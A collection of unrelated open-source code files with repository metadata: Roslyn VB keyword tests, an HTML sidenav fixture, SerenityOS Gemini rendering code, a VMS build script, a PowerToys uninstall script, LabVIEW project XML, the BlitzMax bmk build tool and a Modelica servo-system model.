VerifyRecommendationsContain(<ClassDeclaration>NotInheritable |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterNarrowingTest()
VerifyRecommendationsMissing(<ClassDeclaration>Narrowing |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterWideningTest()
VerifyRecommendationsMissing(<ClassDeclaration>Widening |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterReadOnlyTest()
VerifyRecommendationsMissing(<ClassDeclaration>ReadOnly |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterWriteOnlyTest()
VerifyRecommendationsMissing(<ClassDeclaration>WriteOnly |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterCustomTest()
VerifyRecommendationsMissing(<ClassDeclaration>Custom |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterSharedTest()
VerifyRecommendationsMissing(<ClassDeclaration>Shared |</ClassDeclaration>, "Class")
End Sub
<WorkItem(547254, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/547254")>
<Fact, Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub AfterAsyncTest()
VerifyRecommendationsMissing(<ClassDeclaration>Async |</ClassDeclaration>, "Class")
End Sub
<WorkItem(20837, "https://github.com/dotnet/roslyn/issues/20837")>
<Fact, Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub AfterAttribute()
VerifyRecommendationsContain(<File><AttributeApplication> |</File>, "Class")
End Sub
End Class
End Namespace
| Visual Basic | 4 | frandesc/roslyn | src/EditorFeatures/VisualBasicTest/Recommendations/Declarations/ClassKeywordRecommenderTests.vb | [
"MIT"
] |
<ul id="slide-out" class="sidenav">
<li><div class="user-view">
<div class="background">
<img src="images/office.jpg">
</div>
<a href="#!user"><img class="circle" src="images/yuna.jpg"></a>
<a href="#!name"><span class="white-text name">John Doe</span></a>
<a href="#!email"><span class="white-text email">[email protected]</span></a>
</div></li>
<li><a href="#!"><i class="material-icons">cloud</i>First Link With Icon</a></li>
<li><a href="#!">Second Link</a></li>
<li><div class="divider"></div></li>
<li><a class="subheader">Subheader</a></li>
<li><a class="waves-effect" href="#!">Third Link With Waves</a></li>
</ul>
<a href="#" data-target="slide-out" class="sidenav-trigger"><i class="material-icons">menu</i></a>
| HTML | 4 | afzalsayed96/materialize | tests/spec/sidenav/sidenavFixture.html | [
"MIT"
] |
/*
* Copyright (c) 2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/NonnullRefPtr.h>
#include <AK/String.h>
#include <AK/StringBuilder.h>
#include <AK/Vector.h>
#include <LibGemini/Document.h>
namespace Gemini {
String Document::render_to_html() const
{
StringBuilder html_builder;
html_builder.append("<!DOCTYPE html>\n<html>\n");
html_builder.append("<head>\n<title>");
html_builder.append(m_url.path());
html_builder.append("</title>\n</head>\n");
html_builder.append("<body>\n");
for (auto& line : m_lines) {
html_builder.append(line.render_to_html());
}
html_builder.append("</body>");
html_builder.append("</html>");
return html_builder.build();
}
NonnullRefPtr<Document> Document::parse(StringView lines, const URL& url)
{
auto document = adopt_ref(*new Document(url));
document->read_lines(lines);
return document;
}
void Document::read_lines(StringView source)
{
auto close_list_if_needed = [&] {
if (m_inside_unordered_list) {
m_inside_unordered_list = false;
m_lines.append(make<Control>(Control::UnorderedListEnd));
}
};
for (auto& line : source.lines()) {
if (line.starts_with("```")) {
close_list_if_needed();
m_inside_preformatted_block = !m_inside_preformatted_block;
if (m_inside_preformatted_block) {
m_lines.append(make<Control>(Control::PreformattedStart));
} else {
m_lines.append(make<Control>(Control::PreformattedEnd));
}
continue;
}
if (m_inside_preformatted_block) {
m_lines.append(make<Preformatted>(move(line)));
continue;
}
if (line.starts_with("*")) {
if (!m_inside_unordered_list)
m_lines.append(make<Control>(Control::UnorderedListStart));
m_lines.append(make<UnorderedList>(move(line)));
m_inside_unordered_list = true;
continue;
}
close_list_if_needed();
if (line.starts_with("=>")) {
m_lines.append(make<Link>(move(line), *this));
continue;
}
if (line.starts_with("#")) {
size_t level = 0;
while (line.length() > level && line[level] == '#')
++level;
m_lines.append(make<Heading>(move(line), level));
continue;
}
m_lines.append(make<Text>(move(line)));
}
}
}
| C++ | 4 | r00ster91/serenity | Userland/Libraries/LibGemini/Document.cpp | [
"BSD-2-Clause"
] |
.ifdef MMSIA64
SUFFIX = _IA64
CFLAGS = $(CFLAGS)/define=(_LARGEFILE)
.endif
.ifdef MMSALPHA
SUFFIX = _ALPHA
CFLAGS = $(CFLAGS)/define=(_LARGEFILE)
.endif
.ifdef MMSVAX
XFER_VECTOR = ftplib_vector.obj
.endif
TARGETS = ftplib$(SUFFIX).exe qftp$(SUFFIX).exe
SHLINKFLAGS = /SHARE=$(MMS$TARGET)/NOMAP
* : $(TARGETS)
continue
clean :
if f$search("ftplib.obj") .nes. "" then delete ftplib.obj;*
if f$search("ftplib_alpha.obj") .nes. "" then delete ftplib_alpha.obj;*
if f$search("ftplib.exe") .nes. "" then delete ftplib.exe;*
if f$search("ftplib_alpha.exe") .nes. "" then delete ftplib_alpha.exe;*
if f$search("qftp.obj") .nes. "" then delete qftp.obj;*
if f$search("qftp_alpha.obj") .nes. "" then delete qftp_alpha.obj;*
if f$search("qftp.exe") .nes. "" then delete qftp.exe;*
if f$search("qftp_alpha.exe") .nes. "" then delete qftp_alpha.exe;*
if f$search("ftplib_vector.obj") .nes. "" then delete ftplib_vector.obj;*
ftplib$(SUFFIX).obj : ftplib.c ftplib.h
$(CC) $(CFLAGS) $<
ftplib$(SUFFIX).exe : ftplib$(SUFFIX).obj $(XFER_VECTOR)
$(LINK) $(SHLINKFLAGS) ftplib$(SUFFIX).opt/options
qftp$(SUFFIX).exe : qftp$(SUFFIX).obj
$(LINK) $(LINKFLAGS) qftp$(SUFFIX).opt/options
qftp$(SUFFIX).obj : qftp.c ftplib.h
$(CC) $(CFLAGS) $<
| Module Management System | 3 | sleede/react-native-ftp | ios/Libraries/include/ftplib/src/descrip.mms | [
"MIT"
] |
'use strict';
/**
* {{ id }} service.
*/
const { createCoreService } = require('@strapi/strapi').factories;
module.exports = createCoreService('{{ uid }}');
| Handlebars | 3 | Mithenks/strapi | packages/generators/generators/lib/templates/core-service.js.hbs | [
"MIT"
] |
Get-AppxPackage -Name '*PowerToys' | select -ExpandProperty "PackageFullName" | Remove-AppxPackage
| PowerShell | 1 | tameemzabalawi/PowerToys | installer/MSIX/uninstall_msix.ps1 | [
"MIT"
] |
<?xml version='1.0' encoding='UTF-8'?>
<Project Type="Project" LVVersion="17008000">
<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
<Property Name="NI.LV.ExampleFinder" Type="Str"><?xml version="1.0" encoding="UTF-8"?><ExampleProgram><Title><Text Locale="US">Graphics.lvproj</Text></Title><Keywords><Item>object-oriented</Item><Item>classes</Item><Item>graphics</Item><Item>recursion</Item></Keywords><Navigation><Item>6700</Item><Item>8419</Item></Navigation><FileType>LV Project</FileType><Metadata><Item Name="RTSupport">LV Project</Item></Metadata><ProgrammingLanguages><Item>LabVIEW</Item></ProgrammingLanguages><RequiredSoftware><NiSoftware MinVersion="8.0">LabVIEW</NiSoftware></RequiredSoftware></ExampleProgram></Property>
<Property Name="NI.Project.Description" Type="Str">This example demonstrates a traditional hierarchy of classes. The Line, Point, and Collection classes inherit from the Graphic class.Refer to the LabVIEW Help for more information about LabVIEW object-oriented programming.</Property>
<Item Name="My Computer" Type="My Computer">
<Property Name="NI.SortType" Type="Int">3</Property>
<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.tcp.enabled" Type="Bool">false</Property>
<Property Name="server.tcp.port" Type="Int">0</Property>
<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
<Property Name="specify.custom.address" Type="Bool">false</Property>
<Item Name="Helpers" Type="Folder">
<Item Name="CreateShapePoly.vi" Type="VI" URL="../CreateShapePoly.vi"/>
<Item Name="CreateCircle.vi" Type="VI" URL="../CreateCircle.vi"/>
<Item Name="CreateLine.vi" Type="VI" URL="../CreateLine.vi"/>
<Item Name="GetCenter.vi" Type="VI" URL="../Helpers.llb/GetCenter.vi"/>
<Item Name="LineStyle.ctl" Type="VI" URL="../Helpers.llb/LineStyle.ctl"/>
</Item>
<Item Name="Graphics.vi" Type="VI" URL="../Graphics.vi"/>
<Item Name="DrawGraphics.vi" Type="VI" URL="../DrawGraphics.vi"/>
<Item Name="Graphic.lvclass" Type="LVClass" URL="../Graphic/Graphic.lvclass"/>
<Item Name="Point.lvclass" Type="LVClass" URL="../Point/Point.lvclass"/>
<Item Name="Circle.lvclass" Type="LVClass" URL="../Circle/Circle.lvclass"/>
<Item Name="Collection.lvclass" Type="LVClass" URL="../Collection/Collection.lvclass"/>
<Item Name="Line example.lvclass" Type="LVClass" URL="../Line/Line example.lvclass"/>
<Item Name="Dependencies" Type="Dependencies">
<Item Name="vi.lib" Type="Folder">
<Item Name="Empty Picture" Type="VI" URL="/<vilib>/picture/picture.llb/Empty Picture"/>
<Item Name="Draw Point.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Draw Point.vi"/>
<Item Name="Draw Circle by Radius.vi" Type="VI" URL="/<vilib>/picture/pictutil.llb/Draw Circle by Radius.vi"/>
<Item Name="Draw Line.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Draw Line.vi"/>
<Item Name="Move Pen.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Move Pen.vi"/>
<Item Name="Set Pen State.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Set Pen State.vi"/>
<Item Name="Draw Arc.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Draw Arc.vi"/>
<Item Name="Simple Error Handler.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Simple Error Handler.vi"/>
<Item Name="DialogType.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/DialogType.ctl"/>
<Item Name="General Error Handler.vi" Type="VI" URL="/<vilib>/Utility/error.llb/General Error Handler.vi"/>
<Item Name="DialogTypeEnum.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/DialogTypeEnum.ctl"/>
<Item Name="General Error Handler Core CORE.vi" Type="VI" URL="/<vilib>/Utility/error.llb/General Error Handler Core CORE.vi"/>
<Item Name="whitespace.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/whitespace.ctl"/>
<Item Name="Check Special Tags.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Check Special Tags.vi"/>
<Item Name="TagReturnType.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/TagReturnType.ctl"/>
<Item Name="Set String Value.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Set String Value.vi"/>
<Item Name="GetRTHostConnectedProp.vi" Type="VI" URL="/<vilib>/Utility/error.llb/GetRTHostConnectedProp.vi"/>
<Item Name="Error Code Database.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Code Database.vi"/>
<Item Name="Trim Whitespace.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Trim Whitespace.vi"/>
<Item Name="Format Message String.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Format Message String.vi"/>
<Item Name="Set Bold Text.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Set Bold Text.vi"/>
<Item Name="Find Tag.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Find Tag.vi"/>
<Item Name="Search and Replace Pattern.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Search and Replace Pattern.vi"/>
<Item Name="Details Display Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Details Display Dialog.vi"/>
<Item Name="ErrWarn.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/ErrWarn.ctl"/>
<Item Name="eventvkey.ctl" Type="VI" URL="/<vilib>/event_ctls.llb/eventvkey.ctl"/>
<Item Name="Clear Errors.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Clear Errors.vi"/>
<Item Name="Not Found Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Not Found Dialog.vi"/>
<Item Name="Three Button Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Three Button Dialog.vi"/>
<Item Name="Three Button Dialog CORE.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Three Button Dialog CORE.vi"/>
<Item Name="LVRectTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVRectTypeDef.ctl"/>
<Item Name="Longest Line Length in Pixels.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Longest Line Length in Pixels.vi"/>
<Item Name="Convert property node font to graphics font.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Convert property node font to graphics font.vi"/>
<Item Name="Get Text Rect.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Get Text Rect.vi"/>
<Item Name="Get String Text Bounds.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Get String Text Bounds.vi"/>
<Item Name="LVBoundsTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVBoundsTypeDef.ctl"/>
<Item Name="BuildHelpPath.vi" Type="VI" URL="/<vilib>/Utility/error.llb/BuildHelpPath.vi"/>
<Item Name="GetHelpDir.vi" Type="VI" URL="/<vilib>/Utility/error.llb/GetHelpDir.vi"/>
</Item>
</Item>
<Item Name="Build Specifications" Type="Build"/>
</Item>
</Project>
| LabVIEW | 4 | ribeirojose/FINALE | testAssets/Graphics/Graphics.lvproj | [
"MIT"
] |
'
' Change History :
' BaH 28/09/2007 - Added custom appstub compiles using -b parameter.
' Synched with current bmk source.
'
Strict
Framework brl.basic
Import "bmk_make.bmx"
Import "bmk_zap.bmx"
Import "bmk_bb2bmx.bmx"
?MacOS
Incbin "macos.icns"
?
If AppArgs.length<2 CmdError
Local cmd$=AppArgs[1],args$[]
args=ParseConfigArgs( AppArgs[2..] )
CreateDir BlitzMaxPath()+"/tmp"
Select cmd.ToLower()
Case "makeapp"
SetConfigMung
MakeApplication args,False
Case "makelib"
SetConfigMung
MakeApplication args,True
Case "makemods"
' Local ms=MilliSecs()
If opt_debug Or opt_release
SetConfigMung
MakeModules args
Else
opt_debug=True
opt_release=False
SetConfigMung
MakeModules args
opt_debug=False
opt_release=True
SetConfigMung
MakeModules args
EndIf
' ms=MilliSecs()-ms
' Print "ms="+ms
Case "cleanmods"
CleanModules args
Case "zapmod"
ZapModule args
Case "unzapmod"
UnzapModule args
Case "listmods"
ListModules args
Case "modstatus"
ModuleStatus args
Case "syncmods"
SyncModules args
Case "convertbb"
ConvertBB args
Case "ranlibdir"
RanlibDir args
Default
CmdError
End Select
Function SetConfigMung()
If opt_release
opt_debug=False
opt_configmung="release"
If opt_threaded opt_configmung:+".mt"
opt_configmung="."+opt_configmung+"."+cfg_platform+"."+opt_arch
Else
opt_debug=True
opt_release=False
opt_configmung="debug"
If opt_threaded opt_configmung:+".mt"
opt_configmung="."+opt_configmung+"."+cfg_platform+"."+opt_arch
EndIf
End Function
Function SetModfilter( t$ )
opt_modfilter=t.ToLower()
If opt_modfilter="*"
opt_modfilter=""
Else If opt_modfilter[opt_modfilter.length-1]<>"."
opt_modfilter:+"."
EndIf
End Function
Function MakeModules( args$[] )
If args.length>1 CmdError
If args.length SetModfilter args[0] Else opt_modfilter=""
Local mods:TList=EnumModules()
BeginMake
MakeMod "brl.blitz"
For Local name$=EachIn mods
MakeMod name
Next
End Function
Function CleanModules( args$[] )
If args.length>1 CmdError
If args.length SetModfilter args[0] Else opt_modfilter=""
Local mods:TList=EnumModules()
Local name$
For name=EachIn mods
If (name+".").Find(opt_modfilter)<>0 Continue
Print "Cleaning:"+name
Local path$=ModulePath(name)
DeleteDir path+"/.bmx",True
If Not opt_kill Continue
For Local f$=EachIn LoadDir( path )
Local p$=path+"/"+f
Select FileType(p)
Case FILETYPE_DIR
If f<>"doc"
DeleteDir p,True
EndIf
Case FILETYPE_FILE
Select ExtractExt(f).tolower()
Case "i","a","txt","htm","html"
'nop
Default
DeleteFile p
End Select
End Select
Next
Next
End Function
Function MakeApplication( args$[],makelib )
If opt_execute
If Len(args)=0 CmdError
Else
If Len(args)<>1 CmdError
EndIf
Local Main$=RealPath( args[0] )
Select ExtractExt(Main).ToLower()
Case ""
Main:+".bmx"
Case "c","cpp","cxx","mm","bmx"
Default
Throw "Unrecognized app source file type:"+ExtractExt(Main)
End Select
If FileType(Main)<>FILETYPE_FILE Throw "Unable to open source file '"+Main+"'"
If Not opt_outfile opt_outfile=StripExt( Main )
?Win32
If makelib
If ExtractExt(opt_outfile).ToLower()<>"dll" opt_outfile:+".dll"
Else
If ExtractExt(opt_outfile).ToLower()<>"exe" opt_outfile:+".exe"
EndIf
?
?MacOS
If opt_apptype="gui"
Local appId$=StripDir( opt_outfile )
Local exeDir$=opt_outfile+".app",d$,t:TStream
d=exeDir+"/Contents/MacOS"
Select FileType( d )
Case FILETYPE_NONE
CreateDir d,True
If FileType( d )<>FILETYPE_DIR
Throw "Unable to create application directory"
EndIf
Case FILETYPE_FILE
Throw "Unable to create application directory"
Case FILETYPE_DIR
End Select
d=exeDir+"/Contents/Resources"
Select FileType( d )
Case FILETYPE_NONE
CreateDir d
If FileType( d )<>FILETYPE_DIR
Throw "Unable to create resources directory"
EndIf
Case FILETYPE_FILE
Throw "Unable to create resources directory"
Case FILETYPE_DIR
End Select
t=WriteStream( exeDir+"/Contents/Info.plist" )
If Not t Throw "Unable to create Info.plist"
t.WriteLine "<?xml version=~q1.0~q encoding=~qUTF-8~q?>"
t.WriteLine "<!DOCTYPE plist PUBLIC ~q-//Apple Computer//DTD PLIST 1.0//EN~q ~qhttp://www.apple.com/DTDs/PropertyList-1.0.dtd~q>"
t.WriteLine "<plist version=~q1.0~q>"
t.WriteLine "<dict>"
t.WriteLine "~t<key>CFBundleExecutable</key>"
t.WriteLine "~t<string>"+appId+"</string>"
t.WriteLine "~t<key>CFBundleIconFile</key>"
t.WriteLine "~t<string>"+appId+"</string>"
t.WriteLine "~t<key>CFBundlePackageType</key>"
t.WriteLine "~t<string>APPL</string>"
t.WriteLine "</dict>"
t.WriteLine "</plist>"
t.Close
t=WriteStream( exeDir+"/Contents/Resources/"+appId+".icns" )
If Not t Throw "Unable to create icons"
Local in:TStream=ReadStream( "incbin::macos.icns" )
CopyStream in,t
in.Close
t.Close
opt_outfile=exeDir+"/Contents/MacOS/"+appId
EndIf
?
BeginMake
MakeApp Main,makelib
If opt_execute
Print "Executing:"+StripDir( opt_outfile )
Local cmd$=CQuote( opt_outfile )
For Local i=1 Until args.length
cmd:+" "+CQuote( args[i] )
Next
Sys cmd
EndIf
End Function
Function ZapModule( args$[] )
If Len(args)<>2 CmdError
Local modname$=args[0].ToLower()
Local outfile$=RealPath( args[1] )
Local stream:TStream=WriteStream( outfile )
If Not stream Throw "Unable to open output file"
ZapMod modname,stream
stream.Close
End Function
Function UnzapModule( args$[] )
If Len(args)<>1 CmdError
Local infile$=args[0]
Local stream:TStream=ReadStream( infile )
If Not stream Throw "Unable to open input file"
UnzapMod stream
stream.Close
End Function
Function ListModules( args$[],modid$="" )
If Len(args)<>0 CmdError
Throw "Todo!"
End Function
Function ModuleStatus( args$[] )
If Len(args)<>1 CmdError
ListModules Null,args[0]
End Function
Function SyncModules( args$[] )
If args.length CmdError
If Sys( BlitzMaxPath()+"/bin/syncmods" ) Throw "SyncMods error"
End Function
Function RanlibDir( args$[] )
If args.length<>1 CmdError
Ranlib args[0]
End Function
| BlitzMax | 5 | jabdoa2/blitzmax | src/bmk/bmk.bmx | [
"Zlib"
] |
within ;
package ServoSystem
"Servo system consisting of current and speed controlled DC motor + gear with elasticity and damping + load"
model Gear "Gear with elasticity and damping"
parameter Real ratio=105 "Getriebe-Uebersetzung";
Modelica.Mechanics.Rotational.Components.IdealGear gear(
ratio=ratio, useSupport=true)
annotation (Placement(transformation(extent={{-60,-10},{-40,10}},
rotation=0)));
Modelica.Mechanics.Rotational.Interfaces.Flange_a flange_a
annotation (Placement(transformation(extent={{-110,-10},{-90,10}},
rotation=0)));
Modelica.Mechanics.Rotational.Interfaces.Flange_b flange_b
annotation (Placement(transformation(extent={{90,-10},{110,10}}, rotation=
0)));
Modelica.Mechanics.Rotational.Components.Spring
spring(c=5.84e5)
annotation (Placement(transformation(extent=
{{20,10},{40,30}}, rotation=0)));
Modelica.Mechanics.Rotational.Components.Damper damper1(
d=500)
annotation (Placement(transformation(extent={{20,-30},{40,-10}}, rotation=
0)));
Modelica.Mechanics.Rotational.Components.Fixed fixed
annotation (Placement(transformation(extent={{-60,-49},{-40,-29}},
rotation=0)));
Modelica.Mechanics.Rotational.Components.Damper damper2(
d=100)
annotation (Placement(transformation(
origin={-30,-20},
extent={{-10,-10},{10,10}},
rotation=270)));
equation
connect(gear.flange_a, flange_a)
annotation (Line(points={{-60,0},{-100,0}}, color={0,0,0}));
connect(gear.flange_b, spring.flange_a)
annotation (Line(points={{-40,0},{0,0},{0,20},{20,20}}, color={0,0,0}));
connect(gear.flange_b, damper1.flange_a)
annotation (Line(points={{-40,0},{0,0},{0,-20},{20,-20}}, color={0,0,0}));
connect(spring.flange_b, flange_b) annotation (Line(points={{40,20},{60,20},
{60,0},{100,0}}, color={0,0,0}));
connect(damper1.flange_b, flange_b)
annotation (Line(points={{40,-20},{60,-20},{60,0},{100,0}}, color={0,0,0}));
connect(fixed.flange, damper2.flange_b)
annotation (Line(points={{-50,-39},{-50,-30},{-30,-30}}, color={0,0,0}));
connect(gear.support,fixed.flange)
annotation (Line(points={{-50,-10},{-50,-39}}, color={0,0,0}));
connect(damper2.flange_a, gear.flange_b) annotation (Line(points={{-30,-10},{
-30,0},{-40,0}},color={0,0,0}));
annotation (
Icon(coordinateSystem(
preserveAspectRatio=false,
extent={{-100,-100},{100,100}},
grid={1,1}), graphics={
Rectangle(
extent={{-100,10},{-60,-10}},
lineColor={0,0,0},
fillPattern=FillPattern.HorizontalCylinder,
fillColor={192,192,192}),
Rectangle(
extent={{60,10},{100,-10}},
lineColor={0,0,0},
fillPattern=FillPattern.HorizontalCylinder,
fillColor={192,192,192}),
Rectangle(
extent={{-40,60},{40,-60}},
lineColor={0,0,0},
pattern=LinePattern.Solid,
lineThickness=0.25,
fillPattern=FillPattern.HorizontalCylinder,
fillColor={192,192,192}),
Polygon(
points={{-60,10},{-60,20},{-40,40},{-40,-40},{-60,-20},{-60,10}},
lineColor={0,0,0},
fillPattern=FillPattern.HorizontalCylinder,
fillColor={128,128,128}),
Polygon(
points={{60,20},{40,40},{40,-40},{60,-20},{60,20}},
lineColor={128,128,128},
fillColor={128,128,128},
fillPattern=FillPattern.Solid),
Polygon(
points={{-60,-90},{-50,-90},{-20,-30},{20,-30},{48,-90},{60,-90},{60,
-100},{-60,-100},{-60,-90}},
lineColor={0,0,0},
fillColor={0,0,0},
fillPattern=FillPattern.Solid),
Text(
extent={{-150,110},{150,70}},
textString="%name",
lineColor={0,0,255},
fontSize=0),
Text(
extent={{-150,-110},{150,-150}},
lineColor={0,0,0},
textString="ratio=%ratio")}),
Diagram(coordinateSystem(
preserveAspectRatio=false,
extent={{-100,-100},{100,100}},
grid={1,1}), graphics),
conversion(noneFromVersion=""));
end Gear;
model ControlledMotor "Current controlled DC motor"
extends Modelica.Electrical.Machines.Icons.Machine;
parameter Real km=30 "Gain";
parameter Modelica.SIunits.Time Tm=0.005 "Time Constant (T>0 required)";
Modelica.Blocks.Continuous.PI PI(k=km, T=Tm)
annotation (Placement(transformation(extent={{-52,60},{-32,80}},
rotation=0)));
Modelica.Mechanics.Rotational.Interfaces.Flange_b flange
annotation (Placement(transformation(extent={{90,-10},{110,10}}, rotation=
0)));
Modelica.Blocks.Interfaces.RealInput refCurrent
"Reference current of motor"
annotation (Placement(transformation(extent={{-140,-20},{-100,20}},
rotation=0)));
Modelica.Blocks.Math.Feedback feedback
annotation (Placement(transformation(extent={{-90,-10},{-70,10}},
rotation=0)));
Modelica.Blocks.Continuous.FirstOrder firstOrder(T=0.001, initType=Modelica.Blocks.Types.Init.InitialState)
annotation (Placement(transformation(extent={{-18,60},{2,80}}, rotation=
0)));
Modelica.Electrical.Analog.Basic.Resistor resistor(R=13.8)
annotation (Placement(transformation(extent={{-10,20},{10,40}}, rotation=0)));
Modelica.Electrical.Analog.Basic.Inductor inductor(L=0.061, i(start=0,
fixed=true))
annotation (Placement(transformation(extent={{20,20},{40,40}},rotation=0)));
Modelica.Electrical.Analog.Basic.Ground ground
annotation (Placement(transformation(extent={{40,-50},{60,-30}}, rotation=0)));
Modelica.Electrical.Analog.Sources.SignalVoltage signalVoltage
annotation (Placement(transformation(
origin={-20,0},
extent={{-10,10},{10,-10}},
rotation=270)));
Modelica.Electrical.Analog.Basic.EMF emf(k=1.016)
annotation (Placement(transformation(
extent={{40,-10},{60,10}},
rotation=0)));
Modelica.Mechanics.Rotational.Components.Inertia motorInertia(J=0.0025)
annotation (Placement(transformation(extent={{66,-10},{86,10}},
rotation=0)));
Modelica.Electrical.Analog.Sensors.CurrentSensor currentSensor
annotation (Placement(transformation(extent={{18,-40},{-2,-20}}, rotation=
0)));
equation
connect(feedback.u1, refCurrent)
annotation (Line(points={{-88,0},{-120,0}}, color={0,0,127}));
connect(feedback.y, PI.u)
annotation (Line(points={{-71,0},{-66,0},{-66,70},{-54,70}},
color={0,0,127}));
connect(PI.y, firstOrder.u)
annotation (Line(points={{-31,70},{-20,70}},
color={0,0,127}));
connect(signalVoltage.p,resistor. p) annotation (Line(points={{-20,10},{-20,
30},{-10,30}}, color={0,0,255}));
connect(resistor.n,inductor. p)
annotation (Line(points={{10,30},{20,30}}, color={0,0,255}));
connect(inductor.n,emf. p) annotation (Line(points={{40,30},{50,30},{50,10}},
color={0,0,255}));
connect(emf.n,ground. p)
annotation (Line(points={{50,-10},{50,-30}},
color={0,0,255}));
connect(motorInertia.flange_a,emf.flange)
annotation (Line(points={{66,0},{60,0}}, color={0,0,0}));
connect(currentSensor.n,signalVoltage. n) annotation (Line(points={{-2,-30},
{-20,-30},{-20,-10}}, color={0,0,255}));
connect(currentSensor.p,ground. p)
annotation (Line(points={{18,-30},{50,-30}}, color={0,0,255}));
connect(firstOrder.y, signalVoltage.v) annotation (Line(points={{3,70},{28,70},
{28,46},{-50,46},{-50,0},{-32,0}}, color={0,0,127}));
connect(currentSensor.i, feedback.u2) annotation (Line(points={{8,-41},{8,-52},
{-80,-52},{-80,-8}}, color={0,0,127}));
connect(motorInertia.flange_b, flange)
annotation (Line(points={{86,0},{100,0}}, color={0,0,0}));
annotation ( Icon(coordinateSystem(preserveAspectRatio=false,
extent={{-100,-100},{100,100}}), graphics={
Text(
extent={{-150,120},{150,80}},
lineColor={0,0,255},
textString="%name"),
Rectangle(
extent={{-100,10},{-60,-10}},
fillPattern=FillPattern.HorizontalCylinder,
fillColor={95,95,95})}));
end ControlledMotor;
model SpeedController "PI Geschwindigkeits-Regler"
import SI = Modelica.SIunits;
parameter Real ks "Verstaerkung vom PI Geschwindigkeitsregler";
parameter SI.Time Ts "Zeitkonstante vom PI Geschwindigkeitsregler";
parameter Real ratio=105 "Getriebe-Uebersetzung";
Modelica.Blocks.Interfaces.RealInput refSpeed "Reference speed of load"
annotation ( Placement(
transformation(extent={{-140,-20},{-100,20}}, rotation=0)));
Modelica.Blocks.Interfaces.RealOutput refCurrent "Reference current of motor"
annotation (Placement(
transformation(extent={{100,-10},{120,10}}, rotation=0)));
Modelica.Blocks.Interfaces.RealInput motorSpeed "Actual speed of motor"
annotation (
Placement(transformation(
origin={0,-120},
extent={{-20,-20},{20,20}},
rotation=90)));
Modelica.Blocks.Math.Feedback feedback
annotation (Placement(transformation(extent={{-10,-10},{10,10}}, rotation=
0)));
Modelica.Blocks.Math.Gain gain(k=ratio)
annotation (Placement(transformation(extent={{-50,-10},{-30,10}},
rotation=0)));
Modelica.Blocks.Continuous.PI PI(T=Ts, k=ks)
annotation (Placement(transformation(extent={{30,-10},{50,10}}, rotation=
0)));
equation
connect(gain.y,feedback.u1) annotation (Line(points={{-29,0},{
-8,0}}, color={0,0,127}));
connect(feedback.y,PI.u) annotation (Line(points={{9,0},{28,0}},
color={0,0,127}));
connect(PI.y, refCurrent) annotation (Line(points={{51,0},{110,0}},
color={0,0,127}));
connect(gain.u, refSpeed)
annotation (Line(points={{-52,0},{-120,0}}, color={0,0,127}));
connect(feedback.u2, motorSpeed)
annotation (Line(points={{0,-8},{0,-120}}, color={0,0,127}));
annotation (
Diagram(coordinateSystem(
preserveAspectRatio=false,
extent={{-100,-100},{100,100}},
grid={2,2}), graphics),
Icon(coordinateSystem(
preserveAspectRatio=false,
extent={{-100,-100},{100,100}},
grid={2,2}), graphics={
Rectangle(
extent={{-100,-100},{100,100}},
lineColor={0,0,0},
pattern=LinePattern.Solid,
lineThickness=0.25,
fillColor={235,235,235},
fillPattern=FillPattern.Solid),
Rectangle(
extent={{-30,54},{30,24}},
lineColor={0,0,255},
fillColor={255,255,255},
fillPattern=FillPattern.Solid),
Polygon(
